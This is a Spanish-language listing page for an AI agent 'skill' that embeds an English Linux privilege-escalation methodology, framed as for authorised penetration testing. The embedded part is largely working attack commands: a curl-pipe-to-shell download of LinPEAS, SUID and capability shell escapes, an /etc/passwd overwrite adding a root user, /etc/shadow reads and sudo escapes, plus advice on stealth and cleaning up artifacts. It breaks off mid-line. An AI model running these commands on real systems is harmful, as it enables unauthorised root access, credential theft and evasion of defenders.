offensive-linux-privesc
Qué hace
Esta skill es una metodología para encontrar la forma de obtener root en un sistema Linux desde una cuenta con pocos privilegios. Cubre las reglas de sudo, los binarios SUID, las capacidades, las tareas cron y los permisos de archivos. Es para profesionales de seguridad que prueban equipos Linux con permiso por escrito.
Cuándo usarla
- ✓Cuando tienes una shell con pocos privilegios en un equipo Linux en una prueba autorizada y necesitas comprobar si puedes llegar a root.
- ✓Cuando quieres revisar reglas de sudo, binarios SUID y capacidades en busca de configuraciones erróneas.
- ✓Cuando necesitas revisar tareas cron o scripts con escritura que se ejecutan con más privilegios.
Link de la skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Tenemos autorización para probar este servidor Linux. Tengo una cuenta con pocos privilegios. Comprueba si puedo escalar a root.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
La skill ejecuta primero una enumeración automatizada y después revisa las áreas más probables, como sudo, los binarios SUID y las capacidades. Luego mira las tareas cron, los permisos de archivos y otras rutas, y valida la cadena que encuentra.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Linux Privilege Escalation
You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.
Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.
Quick Workflow
- Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
- Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
- Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
- Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
- Check for NFS shares with no_root_squash and Docker group membership.
- Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
- Validate the escalation path, document the chain, and clean up artifacts.
Automated Enumeration
Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out
# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out
# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"
# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out
Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.
SUID/SGID Binary Abuse
SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.
Enumeration
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
Exploitation via GTFOBins
# If find is SUID
find . -exec /bin/sh -p \;
# If vim is SUID
vim -c ':!/bin/sh'
# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd
# If bash is SUID
bash -p
# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
Custom SUID Binary Analysis
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open
# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1
If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.
Linux Capabilities Exploitation
Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.
# Find binaries with capabilities set
getcap -r / 2>/dev/null
Exploitation
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim (read/write any file)
vim /etc/shadow
# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/
Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.
Sudo Misconfigurations
Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
NOPASSWD Exploitation
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'
# If sudo
Preguntas frecuentes
¿Qué es un binario SUID?
Es un programa que se ejecuta con los permisos de su propietario, lo que puede aprovecharse si está mal configurado.
¿Qué herramientas menciona?
Menciona LinPEAS y linux-exploit-suggester para las comprobaciones automatizadas.
¿Es solo para pruebas autorizadas?
Sí. Está escrita para sistemas que tienes permiso para probar.
Detalles
Descripción original del autor
Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195,
repo: SnailSploit/Claude-Red
Popularidad
- Estrellas en GitHub
- 10 mil
- Posición en el ranking
- #11967
- Licencia
- MIT
- Actualizada
- 12/10/2026
Comentarios
- …
Más skills de este repositorio
offensive-active-directory
10 milAyuda a tu agente a planificar una prueba de seguridad autorizada de Active Directory, desde mapear la red hasta encontrar rutas de ataque a Domain Admin.
offensive-netexec
10 milAyuda a tu agente a usar la herramienta NetExec (nxc) para pruebas de red autorizadas, cubriendo protocolos, autenticación y comprobaciones de credenciales.
offensive-api-abuse
10 milAyuda a tu agente a planificar pruebas de seguridad de API autorizadas que buscan abusos de la lógica de negocio, riesgos de GraphQL y condiciones de carrera.
offensive-api-security
10 milAyuda a tu agente a realizar pruebas de seguridad autorizadas en APIs REST, gRPC y WebSocket, basadas en el OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.